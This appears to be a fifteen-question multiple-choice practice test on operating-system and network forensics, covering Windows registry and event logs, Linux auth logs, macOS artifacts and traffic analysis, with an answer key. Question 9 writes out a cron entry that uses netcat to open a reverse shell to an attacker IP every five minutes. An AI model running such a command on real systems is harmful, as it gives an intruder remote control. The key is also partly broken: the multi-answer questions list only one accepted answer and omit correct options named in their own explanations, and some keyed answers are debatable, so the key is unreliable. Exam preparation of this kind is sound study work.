CHFI OS and Network Forensics Practice Test 13 — 15 Questions

Question 1

A security analyst reviews Windows Security Event Log and notices multiple Event ID 4625 entries for a single user account from various IP addresses within a short time frame. What is the MOST likely attack being attempted?

Accepted Answer

Brute-force password attack. Event ID 4625 indicates a failed logon attempt. Multiple failures from different IPs in a short period is characteristic of a brute-force password guessing attack.

Answer

Kerberos golden ticket attack

Answer

ARP spoofing attack

Answer

Pass-the-hash attack

Question 2

During a Linux forensic investigation, you find the following entry in /var/log/auth.log: "Accepted publickey for root from 203.0.113.5 port 54321 ssh2: RSA SHA256:abc...". The user claims they never connect from that IP. Which forensic artifact should you examine next to confirm unauthorized access?

Accepted Answer

~/.ssh/authorized_keys for unauthorized keys. The presence of an authorized key from an unknown IP suggests an attacker added their public key. Checking ~/.ssh/authorized_keys on the affected account will reveal any unauthorized keys.

Answer

bash_history for suspicious commands

Answer

/etc/shadow for recent modifications

Answer

/var/log/syslog for cron job entries

Question 3

A forensic analyst examines a Mac system and runs "log show --predicate 'eventMessage contains "disk"' --last 1h" in Terminal. This command extracts Unified Log entries related to disk activity. Which macOS forensic artifact is the analyst MOST likely querying?

Accepted Answer

Apple Unified Logging. The 'log show' command with --predicate queries the Apple Unified Logging system, which centralizes logs from various subsystems.

Answer

.plist files

Answer

FSEvents

Answer

Core Storage logs

Question 4

In Windows registry forensics, which registry hive contains the SAM database storing local user account hashes?

Accepted Answer

HKLM\Sam. The Security Account Manager (SAM) registry hive stores local user account information and password hashes, typically located at HKLM\SAM.

Answer

HKLM\Security

Answer

HKLM\System

Answer

NTUSER.DAT

Question 5

A network forensic analyst captures traffic that includes the following Wireshark filter: "tcp.port == 22 and tcp.flags.syn == 1 and tcp.flags.ack == 0". What type of traffic is this filter selecting?

Accepted Answer

Outgoing SSH connection attempts. The filter matches TCP packets to port 22 (SSH) with only the SYN flag set (SYN=1, ACK=0). These are the first packets in a TCP handshake, representing connection attempts.

Answer

SSH traffic with payload

Answer

SSH key exchange

Answer

SSH established sessions

Question 6

During a Windows forensic analysis, you find a suspicious LNK file in a user's Recent folder. Which of the following is NOT typically retrievable from an LNK file?

Accepted Answer

Username of the user who created the LNK file. LNK (shortcut) files store metadata including creation/modification timestamps, target path, volume serial, and network share information, but they do not include the username of the user who accessed it.

Answer

Target file creation timestamp

Answer

Volume serial number of the target drive

Answer

Target file path

Question 7

A forensic tool parses the Windows registry and reveals that a USB device with VID_0781&PID_5583 was last connected on 2023-10-01. Which registry key is the MOST likely source of this information?

Accepted Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. USB device history is stored in the USBSTOR registry key, which enumerates devices by their Vendor ID (VID) and Product ID (PID).

Answer

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

Question 8

Which Linux log file is the primary source for authentication-related events, including SSH login attempts and sudo usage?

Accepted Answer

/var/log/auth.log. On most Linux distributions, authentication events are logged to /var/log/auth.log (or /var/log/secure on RHEL-based systems).

Answer

/var/log/kern.log

Answer

/var/log/syslog

Answer

/var/log/messages

Question 9

An incident responder finds the following entry in a Linux cron job: "*/5 * * * * root nc -e /bin/sh 10.0.0.5 4444". What is the purpose of this cron job?

Accepted Answer

Establish a reverse shell back to the attacker every 5 minutes. This cron job uses netcat (nc) with the -e option to execute a shell (/bin/sh) and connect back to IP 10.0.0.5 on port 4444, creating a reverse shell. It runs every 5 minutes.

Answer

Port scan 10.0.0.5 every 5 minutes

Answer

Log system activity to a remote server

Answer

Download malicious software from 10.0.0.5

Question 10

A forensic examiner uses Plaso (log2timeline) to create a timeline from a disk image. Which of the following artifacts would NOT be included in the timeline by default using the 'all' parser?

Accepted Answer

Registry SAM hive entries. Plaso includes many parsers (WinReg, Windows Event Log, etc.) but the SAM registry hive (user accounts) is not parsed by default for timeline entries; it requires a specific parser and is not included in the 'all' set.

Answer

Event Log entries (evtx)

Answer

Windows Prefetch files

Answer

Chrome browser history

Question 11

In a Windows forensic investigation, which registry key is used to examine programs that automatically start at system boot for all users?

Accepted Answer

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. Run keys under HKLM\Software\Microsoft\Windows\CurrentVersion\Run configure programs to start automatically for all users. The HKCU equivalent is per-user.

Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run

Question 12

Which network forensic tool is BEST suited for analyzing NetFlow data to identify top talkers and detect anomalies?

Accepted Answer

SiLK. SiLK (System for Internet-Level Knowledge) is a set of NetFlow analysis tools designed for large-scale flow data analysis, including identifying top talkers and anomaly detection.

Answer

tcpdump

Answer

Nmap

Answer

Wireshark

Question 13

A forensic analyst is investigating a Windows system and wants to identify recently executed programs. Which TWO artifacts should the analyst examine?

Accepted Answer

Prefetch files. Prefetch files and UserAssist registry keys are both used to track program execution. Prefetch stores execution count and timestamps; UserAssist logs programs launched from the Start Menu or desktop.

Answer

MRU lists

Answer

ShellBags

Answer

Jump lists

Question 14

A security analyst detects suspicious outbound traffic to multiple external IPs on port 443. Which THREE network forensic data sources should be examined to identify the infected host and the nature of the communication?

Accepted Answer

Proxy logs. Firewall logs, proxy logs, and IDS/IPS logs are essential: firewall logs show allowed/denied connections, proxy logs reveal HTTP/HTTPS traffic details, and IDS/IPS logs detect malicious payloads.

Answer

Packet captures (PCAP)

Answer

NetFlow data

Question 15

During a macOS forensic investigation, which TWO artifacts would be MOST helpful in determining when a file was downloaded from the internet?

Accepted Answer

Quarantine database. The unified logging system records download events, and the Quarantine database (com.apple.quarantine extended attribute or SQLite DB) tracks downloaded files with timestamps and source URLs.

Answer

Kernel logs

Answer

.plist files in ~/Library/Preferences

Answer

FSEvents